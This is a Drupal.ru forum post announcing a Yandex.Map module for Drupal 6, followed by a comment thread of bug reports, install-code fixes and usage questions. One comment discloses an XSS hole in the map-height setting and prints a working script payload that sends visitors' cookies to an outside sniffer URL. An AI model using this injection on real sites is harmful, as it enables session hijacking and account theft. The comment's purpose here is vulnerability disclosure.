Модуль Yandex.Map
Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.
Здесь скрин как выглядит карта при добавлении/редактировании материала.
Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка
Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.
Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)
зы. надеюсь, кому то пригодиться
----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680
Вложение | Размер |
---|---|
yandex_map-6.x-1.1.4.zip | 50.46 КБ |
Комментарии
Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5
не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.
Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!
Нам, в Иркутской области, что гугл, что яндекс - монопенисуально
А за модуль - респект!
Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?
Спасибо, на заметку
спасибо, полезно
2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...
но автор молодец!
хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим
ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.
нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал...
Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.
Да! И спасибо за то, что делитесь с сообществом.
И там еще, по-моему, можно пути и регионы добавлять на карты - тоже хотелось бы.
"LIMIT для PostgreSQL" — о чем я и писал во второй статье безопасного кода
И для тех, кто за мкадом, хотелось бы "оверлей" поддерживать, ибо карт в растре есть, а удобства - нет.
полезный модуль
добавил ссылку на странице Gmap
спасибо. сделал ход в ответ))
потрясающе, отлично работает.
все чисто, красиво и хорошо работает.
огромное спасибо за этот модуль
хм
сразу после включения модуля
имею ругань на несуществующую таблицу yandex_maps
MySQL 5, Drupal 6.10
Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.
Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить
Или я что-то не так делаю?
протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта
"Ваш корирайт для отображение внизу карт" ))
Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
<?php
function yandex_map_menu() {
$items = array();
$items['admin/settings/yandex_map'] = array(
- 'title' => t('Yandex Map'),
+ 'title' => 'Yandex Map',
'page callback' => 'drupal_get_form',
'page arguments' => array('yandex_map_settings_form'),
'type' => MENU_NORMAL_ITEM,
'access arguments' => array('administer yandex_map'),
);
return $items;
}
?>
Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.
Соответственно yandex_map.install должен быть таким:
<?php
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt
/**
* Implementation of hook_install().
*/
function yandex_map_install() {
// Create tables.
drupal_install_schema('yandex_map');
}
/**
* Implementation of hook_uninstall().
*/
function yandex_map_uninstall() {
// Remove tables.
drupal_uninstall_schema('yandex_map');
// Remove variables.
variable_del('yandex_map_control_edit');
variable_del('yandex_map_control_view');
variable_del('yandex_map_api_key');
variable_del('yandex_map_default_city');
variable_del('yandex_map_default_zoom');
variable_del('yandex_map_ballon_on_view');
variable_del('yandex_map_copyright');
variable_del('yandex_map_types');
variable_del('yandex_map_map_height');
variable_del('yandex_map_map_width');
}
/**
* Implementation of hook_schema().
*/
function yandex_map_schema() {
$schema['yandex_map'] = array(
'description' => 'Stores data for yandex-maps.',
'fields' => array(
'nid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'uid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'time' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'value' => array(
'type' => 'varchar',
'length' => 1024,
'not null' => TRUE,
'default' => '',
),
),
'indexes' => array(
'nid' => array('nid'),
),
);
return $schema;
}
?>
это кто так сказал?
Документация и реализация
покажи раздел документации. мож я чего пропустил?
http://drupal.org/node/140311
Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?
хм...
а есть ли наработка под 5.16 версию?
заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.
У-у-у-у! В 5-ке не ставится!
warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.
363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }
224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());
Добавил $form_state в 365-ю - ни фига.
классный модуль, автору большое спасибо, ещё бы меток побольше
этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет
очепятко однако, исправил
Спасибо, не знал, исправил.
гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.
даный функционал будет присутствувать в новой версии (1.3)
Спасибо, в закладки.
Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.
ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar
У меня не сохраняется метка
отправляет в Default city
а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?
http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/
так что не друпу нужно соблюдать, а стандарты zend.
shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.
Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????
При установке получаю
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.
я так понимаю, в базе на моем хостинге длина VARCHAR max 255
убрал все ошибки.
на счет безопасности не совсем разобрался
cоздайте файлик node-yournodetype.tpl.php
а для размещения карты в конкретном месте использую параметры с админки:
<?php
print theme('yandex_map');
?>
или же
<?php
$height = '400px';
$width = '100%';
print theme('yandex_map', $height, $width);
?>
++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка
Ну и самое главное исправлено ошибки при сохранение\отображении меток.
Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="
и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.
при обновлении на 1.4 отображение карты отваливается от нодов
Может стоит этот модуль выложить на d.o больше откликов будет и удобнее обрабатывать ошибки/запросы
не совсем понял что имелось веду...
обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)
--
зы. сейчас готовлю демо-сайт
Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.
Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.
Огромное спасибо за модуль.
Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.
На D.org выложен этот модуль!?
При включении модуля в IE не отображается контент выводимый с помощью модуля Quick Tabs.
какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?
Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.
А вот, оказывается, и мой город появился:
02 июня на сервисе Яндекс.Карты (а значит и в API) были добавлены новые данные.
Россия
- Сочи
- Новороссийск
Украина
- Чернигов
- Полтава
- Черновцы
- Хмельницкий
- Черкассы
- Тернополь
- Ровно
Для курортных зон существенно расширилось покрытие высокодетальными спутниковыми снимками.
Спасибо большое!
давно искал такой вот модуль ,но есть маленький вопрос.
1)почему при создании ноды с использованием модуля, при его дальнейшем просмотре изображение отклеиваеться от Ноды во всех Браузерах кроме Opera .
2) можно ли использовать данный модуль просто как карта города на сайте? т.е создаеться нода ,где карта доступНа для всех пользователей ,Без создания мАтериала
А можно показать скриншоты последовательности действий по установке и настройке этого модуля, а то у меня
руки из ж...никак не получается показать Яндекс-карту на сайте.автору поклон.
P.s. под 5й есть версия?))
P.s.s. за зенду +1.
оффтоп.
мы у вас в Луцке выступали в Оболони
клевый замок у вас на Замковой
Модуль ставил - хорош.
Но лично самому пришлось свое решение делать, потому что часто не нужно , что бы карта сразу грузилась. Из-за того , что рисунок грузиться со стороннего сервера - страница притармаживает в работе.
Может и вы встроите ссылку ПОКАЗАТЬ НА КАРТЕ при нажатие на которую начнет карта грузиться.
не работает при выводе карт через таксономию в составе нод - не отображается, поясните, это техническая проблема Яндекса или просто об этом не подумали? Как я понимаю, проблема ещё и в том, что данные передаются в id=yandex_map, а их не может быть более одного на странице.
Надеюсь на оперативный ответ, тут сайт сдавать, а такой косяк неприятный образовался.
PS Пропатчил немного, когда одна нода в термине - отображается, когда несколько - глюки. Поясните, как человек, который разбирался в API Яндекса , как такое решить?
да кстати у меня тоже перестало работать....при добавлении материала, отображается карта, но вот содержание карты не отображается, что делать?
Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.
Что бы это значило?
Значит домен сайта при получении ключа неправильно ввел.
Ну не знаю, скопировал адресную строку - http://мойсайт.kiev.ua/
Ввел ее. Получил ключ. На странице информации о ключах вижу - мойсайт.kiev.ua
* получен 13 июля 2009
* Ключ работает
По ссылке попадаю именно на мой сайт, на главную страницу. Какое-то злое колдунство выходит.
Нет никаких идей? Хотелось сделать красивую контактную форму с картой, а не выходит.
На Гугле схемы Киева, увы, нет, так что ставить даже не пробовал.
Проблема с ошибкой исчезла сама собой, это был глюк яндекса. Там даже обсуждался вопрос с ошибкой, но ответ так и не нашелся.
Но возникла другая проблема - по умолчанию мне показывает мир, хотя в админке выставлено все как на скриншоте. Поиск работать отказывается. Можно установить нужный город вручную, влепить нужную метку на улицу, но... ничего не сохранится. И пользователь радостно увидит тихий океан
Версия 1.3
тоже самое...ОКЕАН...
видно тема совсем заглохла...очень жаль...на самом деле очень востребованный модуль, так как мой город ещё не скоро будет на гугл мапс
Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."
Качай файл, прикрепленный непосредственно к посту, версия 1.4
При установке пишется ошибка:
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: CREATE TABLE yandex_map ( `nid` INT unsigned NOT NULL DEFAULT 0, `uid` INT unsigned NOT NULL DEFAULT 0, `time` INT unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', INDEX nid (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /docs/includes/database.inc on line 515.
При сохранении ноды:
user warning: Table '.yandex_map' doesn't exist query: SELECT * FROM yandex_map WHERE `nid` = '56' in /docs/sites/all/modules/yandex_map/yandex_map.module on line 334.
При удалении пишется ошибка:
user warning: Unknown table 'yandex_map' query: DROP TABLE yandex_map in /docs/includes/database.mysql-common.inc on line 261.
базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.
Следующая ошибка при установке:
Warning: Got a packet bigger than 'max_allowed_packet' bytes query: INSERT INTO watchdog (uid, type, message, variables, severity, link, location, referer, hostname, timestamp) VALUES (1, 'php', '%message in %file on line %line.', 'a:4:{s:6:\"%error\";s:12:\"user warning\";s:8:\"%message\";s:2300783:\"Got a packet bigger than 'max_allowed_packet' bytes\nquery: UPDATE batch SET token = 'f925348e42c7390737108decd8a0a5fc', batch = 'a:10:{s:4:\\"sets\\";a:2:{i:0;a:12:{s:7:\\"sandbox\\";a:0:{}s:7:\\"results\\";a:0:{}s:7:\\"success\\";b:0;s:10:\\"operations\\";a:1:{i:0;a:2:{i:0;s:20:\\"_locale_batch_import\\";i:1;a:1:{i:0;s:47:\\"sites/all/modules/yandex_map/translations/ru.po\\";}}}s:5:\\"title\\";s:53:\\"Импорт переводов интер� in /docs/includes/database.mysql.inc on line 128
Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 3041548 bytes) in /docs/includes/database.mysql-common.inc on line 34
Warning: Cannot modify header information - headers already sent by (output started at /docs/includes/database.mysql.inc:128) in Unknown on line 0
Хостер никхост. Чего-то понять не могу, какая версия mysql.
Есть две надписи: Версия сервера: 4.1.22-log, Версия MySQL-клиента: 5.1.16-beta. Что из них что?
Заранее спасибо.
уже не важно, руками создай базу с нужными параметрами
выдаёт 500 ошибку при сохранении ноды, как и с этим http://drupal.ru/node/24680
не подскажите, в чём может быть дело?
[РЕШЕНО] с приват_месседж был конфликт. залил новый, прошло.
Итак, установила, все замечательно.
Есть две проблемы - 1) не отображается в Опре (конкретно, в Опере 10)
2) при сохранении ноды иногда сбивается адрес, т.е. вместо введенного, отображается дефолтный для города.
3) Все-таки, этот модуль загружает яндекс карты при каждом просмотре на сайте... Было бы хорошо - да что там! прекрасно! - если бы он - загружал ЯНдекс карты только там, где они собственно, есть... Или хотя бы вариант с Смотреть карту.
Может хотя бы здесь пойму, из чего состоит нода.
Ну так вот, хочу перенести карту ниже текста ноды. Написано, создайте файлик node-yournodetype.tpl.php и там перекрываете родной вывод. Ладно, сделал.
Дальше, в этом файле написал вот что:
<?php print theme('yandex_map'); ?>
- это выводит карту.Перед ней что вписывать, что бы вывести текстовую часть контента.
Если пишу так
<?php print $content;?>
или так<?php print $body?>
, выводится контент с картой вместе, т. е. карта пытается загрузиться два раза.А что выводит только текстовую часть ноды?
И еще, обнаружен неприятный баг. Так как скрипты модуля грузяться на каждой странице, на страницах с списками views(где есть раскрытые фильтры): Opera виснет, IE выдает ошибку "Замедление работы IE".
эхх... как мой город добавил Гугл, я и забил на это все...
Некому заниматься модулем
Спасибо за модуль!
Только я тоже столкнулся с проблемой, что из-за вызова скрипта Y.Maps на каждой странице в Опере намертво виснет старница создание/редактирования Views.
И еще не могу понять как на определнной странице вывести карту с масштабом, отличным от дефалтного.
Т.е. я на главной странице хочу вывести карту со всеми созданными точками. Карту я вывожу следующим кодом:
echo theme('yandex_map', variable_get('yandex_map_block_height_'. $delta, FALSE), variable_get('yandex_map_block_width_'. $delta, FALSE));
А что нужно в нем изменить, чтобы масштаб был "город"?
PS: только начал изучать PHP, поэтому самостоятельно разобраться не смог..
Хотелось бы узнать - автор поддерживает модуль? Или нет смысла ставить...
У меня все работает. Только при редактировании ноды с картой, адрес сбивается на дефолтный. И это делает (в моем случае) непригодным это отличный модуль. Наверное там пустяшный код надо добавить с проверкой. Может быть автор разрешит доработать его модуль если у него у самого нет на это времени? Есть тут умельцы которым это как 2+2 сделать? Может neochief или еще кто-то?
Кому-нибудь удалось установить модуль так, чтобы он правильно работал?
http://www.drupal.ru/node/39766
День добрый всем.
Автору респект!
Есть маленькая проблемка...
При создании ноды карта не отображается (и клики по лупе ничего не дают). Но если ноду сохранить, а потом опять редактировать - карта отображается нормально.
Кто-нибудь сталкивался?
P.S. В какой теме писать? Здесь или http://www.drupal.ru/node/39766
Хороший модуль, спасибо! Хм, как раз у Карт Яндекса данные более новые.
Хорошая карта. Однако, мне надо ставить много меток. Эх.
Посмотрите этот модуль http://www.drupal.ru/node/24680
он позволяет ставить несколько меток
Извините за вопрос а на локалке можно модуль проверить?
Так установила модуль 6.3, выявила что при работе с типами материала, которые создала я сама, карта работает но только после того как нода уже создана и сохранена, то есть при редактировании, в встроенных типах такого нет карта работает нормально как надо
Хочу поставить карту в информацию о пользователе, как можно это сделать? Где указывать откуда брать адрес?
Нужен будет http://drupal.org/project/content_profile
А под семерку непланируется портировать?
+1
Похоже чувак забросил работу над модулем...
Большое спасибо за модуль !!! очень полезная штука, правда жаль что нет на 7ку. щас уже все проекты хочу проапгрейдить и возник вопрос будет ли версия для 7ки ?
+1
здравствуйте, подскажите пожалуйста , что делать , если города нет ни в гугл ни на яндексе?
p.s: я первый раз делаю сайт на drupal
Что если нужно на одной странице показать 2 адреса? Не важно на одной карте или на двух? Как можно реализовать, подскажите пожалуйста. Заранее спасибо.
Ну наверное, как самый простой вариант, создать шаблон node-id.tpl.php и вставить скрипт с Яндекс-карт:
<script src="http://api-maps.yandex.ru/1.1/index.xml?key=Ваш_ключ_API_Яндекс.Карты"
type="text/javascript"></script>
<script type="text/javascript">
window.onload = function () {
var map = new YMaps.Map(document.getElementById("YMapsID"));
map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10);
}
</script>
Там, где
map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10)
Назначить свои координаты.
А в то место шаблона, где должна быть выведена карта, вставить:
<div id="YMapsID" style="width:600px;height:400px"></div>
Но этот вариант не очень. Карта выводится без инструментов ((
UPD: Определение координат
Вышла новая версия Яндекс.Карты 2.0. В конструкторе можно собрать карту и вставить на сайт.
Потуги по созданию подобного модуля ля 7ки http://www.drupal.ru/node/76858
Скажите, а как можно разместить 2 карты в одной ноде?
есть 2 адреса в разных городах и хотелось бы поместить карты друг под другом.
и еще вопрос - как тело ноды поместить поверх карты?
Я написал как разместить две карты (за два комментария до этого), хотя способ не очень.
Думаю, стоит посмотреть в сторону новых карт Яндекс.Карты 2.0. Там можно несколько адресов на одной карте размещать, типа филиалы.
Что значит тело ноды поверх карты? В блоке в регионе? Карта модуля и так в самом низу ноды.
А если вставлять кодом, который генерит Яндекс, то можно карту куда угодно засунуть, хоть между абзацами.
Я разместил карту в блоке, можно ли дать возможность зарегистрированным посетителям добавлять метки на эту карту?
Желающий слышать, да услышит. Спасибо за то, что Денис высказывает то, что многие из нас стесняются вписать из головы после эмоциональных порывов. Здесь есть еще те, кто не хочет вникать и мыслить в направлении алгоритмов и решений проблем, но при этом хочет их решить - этот порыв я думаю не к Вам. Вам мы всегда поможем, когда бесплатно, когда за денежку, не пугайтесь и не бери это на свой счет близко к горячему сердцу и широкой душе.
Прав - 200%